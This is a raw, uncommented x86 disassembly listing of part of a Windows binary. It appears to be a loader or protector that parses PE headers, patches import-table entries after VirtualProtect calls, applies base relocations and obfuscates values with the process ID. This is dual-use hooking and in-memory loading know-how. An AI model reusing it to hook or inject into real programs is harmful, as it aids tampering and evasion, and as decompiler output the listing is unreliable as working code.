ecx, [ebp+arg_4] mov ds:dword_423BC0, ecx push 9 lea ecx, [ebp+var_28] call sub_41EA57 lea edx, [ebp+var_28] push edx push 0 mov eax, [ebp+arg_0] push eax call sub_418B90 add esp, 0Ch mov ecx, ds:dword_424894 sub ecx, 1 mov ds:dword_424894, ecx mov [ebp+var_2C], 1 lea ecx, [ebp+var_28] call sub_41EB05 mov eax, [ebp+var_2C] mov esp, ebp pop ebp retn 8 sub_418B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B90 proc near ; CODE XREF: sub_418B30+30p ; sub_418B90+24Bp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421458 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jnz short loc_418BC1 jmp loc_418E7C ; --------------------------------------------------------------------------- loc_418BC1: ; CODE XREF: sub_418B90+2Aj mov eax, [ebp+arg_0] mov [ebp+var_2C], eax mov ecx, [ebp+arg_4] mov [ebp+var_28], ecx mov edx, [ebp+arg_4] mov [ebp+var_30], edx jmp short loc_418BDE ; --------------------------------------------------------------------------- loc_418BD5: ; CODE XREF: sub_418B90:loc_418BF3j mov eax, [ebp+var_30] mov ecx, [eax+4] mov [ebp+var_30], ecx loc_418BDE: ; CODE XREF: sub_418B90+43j cmp [ebp+var_30], 0 jz short loc_418BF5 mov edx, [ebp+var_30] mov eax, [edx] cmp eax, [ebp+arg_0] jnz short loc_418BF3 jmp loc_418E7C ; --------------------------------------------------------------------------- loc_418BF3: ; CODE XREF: sub_418B90+5Cj jmp short loc_418BD5 ; --------------------------------------------------------------------------- loc_418BF5: ; CODE XREF: sub_418B90+52j mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_41EB4C test eax, eax jz short loc_418C0A jmp loc_418E7C ; --------------------------------------------------------------------------- loc_418C0A: ; CODE XREF: sub_418B90+73j mov edx, ds:dword_424894 add edx, 1 mov ds:dword_424894, edx mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov ecx, ds:dword_423BC0 mov [ebp+var_24], ecx mov [ebp+var_4], 0 mov edx, [ebp+var_34] mov eax, [ebp+var_34] add eax, [edx+3Ch] mov [ebp+var_38], eax mov ecx, [ebp+var_38] cmp dword ptr [ecx], 4550h jnz loc_418E31 cmp ds:dword_424600, 1 jnz short loc_418C6A cmp [ebp+arg_0], 80000000h jbe short loc_418C6A push 0 push 0 push 0 push 0 call ds:dword_4246F8 ; RaiseException loc_418C6A: ; CODE XREF: sub_418B90+C1j ; sub_418B90+CAj mov edx, [ebp+var_38] mov eax, [ebp+var_34] add eax, [edx+80h] mov [ebp+var_20], eax mov [ebp+var_4], 1 cmp ds:dword_424600, 1 jnz short loc_418D07 mov [ebp+var_40], 0 jmp short loc_418C9B ; --------------------------------------------------------------------------- loc_418C92: ; CODE XREF: sub_418B90:loc_418D05j mov ecx, [ebp+var_40] add ecx, 1 mov [ebp+var_40], ecx loc_418C9B: ; CODE XREF: sub_418B90+100j mov edx, [ebp+var_38] xor eax, eax mov ax, [edx+6] cmp [ebp+var_40], eax jnb short loc_418D07 mov ecx, [ebp+var_38] xor edx, edx mov dx, [ecx+14h] mov eax, [ebp+var_38] lea ecx, [eax+edx+18h] mov edx, [ebp+var_40] imul edx, 28h add ecx, edx mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, [ebp+var_34] add ecx, [eax+0Ch] cmp ecx, [ebp+var_20] ja short loc_418D05 mov edx, [ebp+var_44] mov eax, [ebp+var_34] add eax, [edx+0Ch] mov ecx, [ebp+var_44] add eax, [ecx+8] cmp [ebp+var_20], eax ja short loc_418D05 mov edx, [ebp+var_44] mov eax, [edx+24h] and eax, 10000000h test eax, eax jz short loc_418D03 push 0 push 0 push 0 push 0 call ds:dword_4246F8 ; RaiseException loc_418D03: ; CODE XREF: sub_418B90+163j jmp short loc_418D07 ; --------------------------------------------------------------------------- loc_418D05: ; CODE XREF: sub_418B90+140j ; sub_418B90+154j jmp short loc_418C92 ; --------------------------------------------------------------------------- loc_418D07: ; CODE XREF: sub_418B90+F7j ; sub_418B90+117j ... mov [ebp+var_4], 0 jmp short loc_418D2E ; --------------------------------------------------------------------------- loc_418D10: ; DATA XREF: _4:00421468o mov ecx, [ebp+var_14] mov edx, [ecx] mov eax, [edx] mov [ebp+var_58], eax mov eax, [ebp+var_58] neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_418D24: ; DATA XREF: _4:0042146Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_418D2E: ; CODE XREF: sub_418B90+17Ej mov ecx, [ebp+var_38] mov eax, [ecx+84h] xor edx, edx mov ecx, 14h div ecx mov [ebp+var_1C], eax mov [ebp+var_3C], 0 jmp short loc_418D55 ; --------------------------------------------------------------------------- loc_418D4C: ; CODE XREF: sub_418B90:loc_418E2Cj mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_418D55: ; CODE XREF: sub_418B90+1BAj mov eax, [ebp+var_3C] cmp eax, [ebp+var_1C] jnb loc_418E31 mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] mov eax, [ebp+var_34] add eax, [edx+ecx+0Ch] mov [ebp+var_50], eax mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] cmp dword ptr [edx+ecx+0Ch], 0 jz short loc_418D9D mov eax, [ebp+var_3C] imul eax, 14h mov ecx, [ebp+var_20] mov edx, [ecx+eax+0Ch] mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+edx] test ecx, ecx jnz short loc_418DA2 loc_418D9D: ; CODE XREF: sub_418B90+1F2j jmp loc_418E31 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418B90+20Bj mov edx, [ebp+var_3C] imul edx, 14h mov eax, [ebp+var_20] mov ecx, [ebp+var_34] add ecx, [eax+edx+10h] mov [ebp+var_48], ecx mov edx, [ebp+var_50] push edx call sub_41E254 mov [ebp+var_4C], eax mov eax, [ebp+var_50] mov ds:dword_423BC0, eax cmp [ebp+var_4C], 0 jz short loc_418DE3 mov ecx, [ebp+arg_8] push ecx lea edx, [ebp+var_2C] push edx mov eax, [ebp+var_4C] push eax call sub_418B90 add esp, 0Ch loc_418DE3: ; CODE XREF: sub_418B90+23Dj push 0 call ds:dword_424698 ; GetModuleHandleA cmp eax, [ebp+arg_0] jz short loc_418E2C mov ecx, [ebp+var_4C] push ecx mov ecx, ds:dword_429038 call sub_41EB4C test eax, eax jz short loc_418E2C jmp short loc_418E0E ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418B90+29Aj mov edx, [ebp+var_48] add edx, 4 mov [ebp+var_48], edx loc_418E0E: ; CODE XREF: sub_418B90+273j mov eax, [ebp+var_48] cmp dword ptr [eax], 0 jz short loc_418E2C mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_48] push eax call sub_418E90 add esp, 0Ch jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418B90+25Ej ; sub_418B90+271j ... jmp loc_418D4C ; --------------------------------------------------------------------------- loc_418E31: ; CODE XREF: sub_418B90+B4j ; sub_418B90+1CBj ... push 1 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_41EC69 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_418E65 ; --------------------------------------------------------------------------- mov edx, [ebp+var_14] mov eax, [edx] mov ecx, [eax] mov [ebp+var_54], ecx mov eax, [ebp+var_54] neg eax sbb eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_418E65: ; CODE XREF: sub_418B90+2B6j mov eax, [ebp+var_24] mov ds:dword_423BC0, eax mov ecx, ds:dword_424894 sub ecx, 1 mov ds:dword_424894, ecx loc_418E7C: ; CODE XREF: sub_418B90+2Cj ; sub_418B90+5Ej ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E90 proc near ; CODE XREF: sub_4184A0+250p ; sub_418B90+292p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0 cmp ds:dword_429034, 0 jnz short loc_418EB0 mov ecx, 0EF00000Ah call sub_41BA32 loc_418EB0: ; CODE XREF: sub_418E90+14j mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov ecx, ds:dword_429034 call sub_41EB4C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_418F0F lea edx, [ebp+var_10] push edx push 4 push 4 mov eax, [ebp+arg_0] push eax call ds:dword_42472C ; VirtualProtect test eax, eax jnz short loc_418EEA mov ecx, 0EF00000Bh call sub_41BA32 loc_418EEA: ; CODE XREF: sub_418E90+4Ej mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov eax, [edx] mov [ecx], eax lea ecx, [ebp+var_C] push ecx mov edx, [ebp+var_10] push edx push 4 mov eax, [ebp+arg_0] push eax call ds:dword_42472C ; VirtualProtect mov [ebp+var_4], 1 loc_418F0F: ; CODE XREF: sub_418E90+38j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_418E90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F16 proc near ; CODE XREF: sub_410386+23p ; sub_413056+A5p var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = dword ptr -26h var_1E = dword ptr -1Eh var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421470 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 6Ch push ebx push esi push edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_4], 0 and [ebp+var_3C], 0 lea eax, [ebp+var_34] push eax push 0 lea eax, [ebp+var_3C] push eax push 0Eh lea eax, [ebp+var_28] push eax push [ebp+arg_0] call sub_415175 test eax, eax jz short loc_418F77 lea eax, [ebp+var_44] push eax push [ebp+arg_0] call sub_414670 test eax, eax jnz short loc_418F90 loc_418F77: ; CODE XREF: sub_418F16+4Fj push 0FFFFFFFFh and [ebp+var_64], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_64] jmp loc_41919C ; --------------------------------------------------------------------------- loc_418F90: ; CODE XREF: sub_418F16+5Fj movzx eax, [ebp+var_28] cmp eax, 4D42h jnz short loc_418FF4 mov eax, [ebp+var_26] cmp eax, [ebp+var_44] ja short loc_418FF4 mov eax, [ebp+var_26] sub eax, 0Eh push eax call sub_41BA4A pop ecx mov [ebp+var_5C], eax mov eax, [ebp+var_5C] mov [ebp+var_30], eax lea eax, [ebp+var_48] push eax push 0 lea eax, [ebp+var_3C] push eax mov eax, [ebp+var_26] sub eax, 0Eh push eax push [ebp+var_30] push [ebp+arg_0] call sub_415175 test eax, eax jnz short loc_418FF2 push 0FFFFFFFFh and [ebp+var_68], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_68] jmp loc_41919C ; --------------------------------------------------------------------------- loc_418FF2: ; CODE XREF: sub_418F16+C1j jmp short loc_41900D ; --------------------------------------------------------------------------- loc_418FF4: ; CODE XREF: sub_418F16+83j ; sub_418F16+8Bj push 0FFFFFFFFh and [ebp+var_6C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_6C] jmp loc_41919C ; --------------------------------------------------------------------------- loc_41900D: ; CODE XREF: sub_418F16:loc_418FF2j mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_38], eax mov eax, [ebp+var_30] cmp dword ptr [eax+10h], 0 jz short loc_419037 push 0FFFFFFFFh and [ebp+var_70], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_70] jmp loc_41919C ; --------------------------------------------------------------------------- loc_419037: ; CODE XREF: sub_418F16+106j push 0 call ds:dword_424760 ; CreateCompatibleDC mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_419061 push 0FFFFFFFFh and [ebp+var_74], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_74] jmp loc_41919C ; --------------------------------------------------------------------------- loc_419061: ; CODE XREF: sub_418F16+130j mov eax, [ebp+var_1E] mov ecx, [ebp+var_30] lea eax, [ecx+eax-0Eh] mov [ebp+var_40], eax and [ebp+var_4C], 0 and [ebp+var_54], 0 mov eax, [ebp+var_30] movzx eax, word ptr [eax+0Eh] mov [ebp+var_78], eax cmp [ebp+var_78], 8 jz short loc_4190B5 cmp [ebp+var_78], 10h jz short loc_4190AC cmp [ebp+var_78], 18h jz short loc_4190A3 cmp [ebp+var_78], 20h jz short loc_41909A jmp short loc_4190BE ; --------------------------------------------------------------------------- loc_41909A: ; CODE XREF: sub_418F16+180j mov [ebp+var_4C], 4 jmp short loc_4190D7 ; --------------------------------------------------------------------------- loc_4190A3: ; CODE XREF: sub_418F16+17Aj mov [ebp+var_4C], 3 jmp short loc_4190D7 ; --------------------------------------------------------------------------- loc_4190AC: ; CODE XREF: sub_418F16+174j mov [ebp+var_4C], 2 jmp short loc_4190D7 ; --------------------------------------------------------------------------- loc_4190B5: ; CODE XREF: sub_418F16+16Ej mov [ebp+var_4C], 1 jmp short loc_4190D7 ; --------------------------------------------------------------------------- loc_4190BE: ; CODE XREF: sub_418F16+182j push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_41919C ; --------------------------------------------------------------------------- loc_4190D7: ; CODE XREF: sub_418F16+18Bj ; sub_418F16+194j ... push 0 push 0 lea eax, [ebp+var_58] push eax push 0 push [ebp+var_30] push [ebp+var_2C] call ds:dword_424764 ; CreateDIBSection mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_41910F push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_41919C ; --------------------------------------------------------------------------- loc_41910F: ; CODE XREF: sub_418F16+1DEj mov eax, [ebp+var_30] mov eax, [eax+4] imul eax, [ebp+var_4C] mov [ebp+var_50], eax mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx test edx, edx jz short loc_41913F mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx push 4 pop eax sub eax, edx mov ecx, [ebp+var_50] add ecx, eax mov [ebp+var_50], ecx loc_41913F: ; CODE XREF: sub_418F16+211j mov eax, [ebp+var_30] mov ecx, [ebp+var_50] imul ecx, [eax+8] mov esi, [ebp+var_40] mov edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0FFFFFFFFh mov eax, [ebp+var_54] mov [ebp+var_84], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_84] jmp short loc_41919C ; --------------------------------------------------------------------------- loc_41917B: ; DATA XREF: _4:00421478o cmp [ebp+var_2C], 0 jz short loc_41918A push [ebp+var_2C] call ds:dword_424768 ; DeleteDC loc_41918A: ; CODE XREF: sub_418F16+269j mov eax, [ebp+var_30] mov [ebp+var_60], eax push [ebp+var_60] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41919C: ; CODE XREF: sub_418F16+75j ; sub_418F16+D7j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_418F16 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191AB proc near ; CODE XREF: sub_41925C+86p ; sub_419995+CDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_8], 0 and [ebp+var_4], 0 movzx eax, ds:byte_424614 test eax, eax jnz short loc_419209 push offset dword_423C60 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_415977 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4191F0 push offset dword_423C60 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_415867 mov [ebp+var_8], eax loc_4191F0: ; CODE XREF: sub_4191AB+30j cmp [ebp+var_8], 0 jnz short loc_419209 mov eax, [ebp+var_4] mov [ebp+var_C], eax push [ebp+var_C] call sub_41BACD pop ecx and [ebp+var_4], 0 loc_419209: ; CODE XREF: sub_4191AB+17j ; sub_4191AB+49j cmp [ebp+arg_4], 0 jz short loc_419219 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx jmp short loc_419228 ; --------------------------------------------------------------------------- loc_419219: ; CODE XREF: sub_4191AB+62j mov eax, [ebp+var_4] mov [ebp+var_10], eax push [ebp+var_10] call sub_41BACD pop ecx loc_419228: ; CODE XREF: sub_4191AB+6Cj mov eax, [ebp+var_8] leave retn sub_4191AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41922D proc near ; CODE XREF: sub_419529+41p ; sub_419529+227p ... push ebp mov ebp, esp cmp ds:dword_4248BC, 0 jnz short loc_41924F push offset aKernel32_dll ; "kernel32.dll" push offset aGetcurrentpr_0 ; "GetCurrentProcessId" call sub_41D300 pop ecx pop ecx mov ds:dword_4248BC, eax loc_41924F: ; CODE XREF: sub_41922D+Aj call ds:dword_4248BC xor eax, 0CABEFA10h pop ebp retn sub_41922D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41925C proc near ; CODE XREF: sub_419424+Cp ; sub_41E254+2Bp var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov [ebp+var_28], dl mov [ebp+var_24], ecx push offset sub_41EDE8 push ds:dword_424740 push [ebp+var_24] mov ecx, ds:dword_4248B4 call sub_41EB6C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4192DB movzx eax, [ebp+var_28] test eax, eax jz short loc_4192D3 push 104h call sub_41BA4A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_10], eax push 104h push [ebp+var_10] push [ebp+var_C] call ds:dword_424694 ; GetModuleFileNameA test eax, eax jz short loc_4192C4 push [ebp+var_10] call ds:dword_4246DC ; LoadLibraryA loc_4192C4: ; CODE XREF: sub_41925C+5Dj mov eax, [ebp+var_10] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_41BACD pop ecx loc_4192D3: ; CODE XREF: sub_41925C+34j mov eax, [ebp+var_C] jmp locret_419391 ; --------------------------------------------------------------------------- loc_4192DB: ; CODE XREF: sub_41925C+2Cj push 0 push 0 push [ebp+var_24] call sub_4191AB add esp, 0Ch mov [ebp+var_8], eax and [ebp+var_4], 0 cmp [ebp+var_8], 0 jz short loc_41933D push 0 push 0 push [ebp+var_8] call sub_41BF82 add esp, 0Ch mov [ebp+var_14], eax push [ebp+var_14] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41932C movzx eax, [ebp+var_28] test eax, eax jz short loc_41932C push [ebp+var_14] call ds:dword_4246DC ; LoadLibraryA loc_41932C: ; CODE XREF: sub_41925C+BDj ; sub_41925C+C5j mov eax, [ebp+var_14] mov [ebp+var_20], eax push [ebp+var_20] call sub_41BACD pop ecx jmp short loc_41938E ; --------------------------------------------------------------------------- loc_41933D: ; CODE XREF: sub_41925C+99j push [ebp+var_24] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41938E movzx eax, [ebp+var_28] test eax, eax jz short loc_41938E push [ebp+var_24] call ds:dword_4246DC ; LoadLibraryA push [ebp+var_24] push [ebp+var_4] call sub_418B30 test eax, eax jnz short loc_41938E call ds:dword_424690 ; RtlGetLastWin32Error test eax, eax jnz short loc_419381 push 7Eh call ds:dword_42470C ; RtlRestoreLastWin32Error loc_419381: ; CODE XREF: sub_41925C+11Bj push [ebp+var_4] call ds:dword_424660 ; FreeLibrary and [ebp+var_4], 0 loc_41938E: ; CODE XREF: sub_41925C+DFj ; sub_41925C+F1j ... mov eax, [ebp+var_4] locret_419391: ; CODE XREF: sub_41925C+7Aj leave retn sub_41925C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419393 proc near ; CODE XREF: sub_41E33E+53p var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00419415 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421480 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi mov [ebp+var_28], ecx push 105h call sub_41BA4A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd stosb and [ebp+var_4], 0 push 104h push [ebp+var_1C] push [ebp+var_28] call ds:dword_424694 ; GetModuleFileNameA push [ebp+var_1C] push [ebp+var_28] call sub_418B30 or [ebp+var_4], 0FFFFFFFFh call sub_419405 jmp short loc_419415 sub_419393 endp ; =============== S U B R O U T I N E ======================================= sub_419405 proc near ; CODE XREF: sub_419393+6Bp ; DATA XREF: _4:00421488o mov eax, [ebp-1Ch] mov [ebp-24h], eax push dword ptr [ebp-24h] call sub_41BACD pop ecx retn sub_419405 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419393 loc_419415: ; CODE XREF: sub_419393+70j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_419393 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419424 proc near ; CODE XREF: sub_41E119+7p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov dl, 1 mov ecx, [ebp+var_4] call sub_41925C leave retn sub_419424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419437 proc near ; CODE XREF: sub_419995+362p ; sub_419995+576p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_419457 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] sub eax, [ebp+var_4] jmp short locret_41945A ; --------------------------------------------------------------------------- loc_419457: ; CODE XREF: sub_419437+13j mov eax, [ebp+arg_0] locret_41945A: ; CODE XREF: sub_419437+1Ej leave retn sub_419437 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41945C proc near ; CODE XREF: sub_419529+153p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] add eax, [ebp+arg_8] mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+arg_8] add eax, [ebp+arg_C] mov [ebp+var_8], eax loc_419477: ; CODE XREF: sub_41945C:loc_419522j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb locret_419527 mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_14], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] sub eax, 8 mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, [ebp+var_10] mov [ebp+var_C], eax loc_4194B7: ; CODE XREF: sub_41945C+8Bj ; sub_41945C+C4j mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_419522 mov eax, [ebp+var_4] movzx eax, word ptr [eax] and eax, 0FFFh mov [ebp+var_24], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_4] inc eax inc eax mov [ebp+var_4], eax cmp [ebp+var_1C], 0 jnz short loc_4194E9 jmp short loc_4194B7 ; --------------------------------------------------------------------------- loc_4194E9: ; CODE XREF: sub_41945C+89j cmp [ebp+var_1C], 3 jz short loc_4194F9 mov ecx, 0EF000016h call sub_41BA32 loc_4194F9: ; CODE XREF: sub_41945C+91j mov eax, [ebp+arg_0] add eax, [ebp+var_14] add eax, [ebp+var_24] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+34h] mov eax, [ebp+var_20] mov eax, [eax] add eax, ecx mov [ebp+var_18], eax mov eax, [ebp+var_20] mov ecx, [ebp+var_18] mov [eax], ecx jmp short loc_4194B7 ; --------------------------------------------------------------------------- loc_419522: ; CODE XREF: sub_41945C+61j jmp loc_419477 ; --------------------------------------------------------------------------- locret_419527: ; CODE XREF: sub_41945C+21j leave retn sub_41945C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419529 proc near ; DATA XREF: sub_419995+B34o var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 004198DE SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421490 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 68h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_10], 1 jnz loc_419746 mov [ebp+var_4], 1 call sub_41922D mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx mov eax, [ebp+arg_C] mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_40], ecx mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_38], eax mov eax, [ebp+var_40] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_38] lea eax, [ecx+eax-28h] mov [ebp+var_28], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+34h] mov [ebp+var_44], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+38h] mov [ebp+var_30], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] 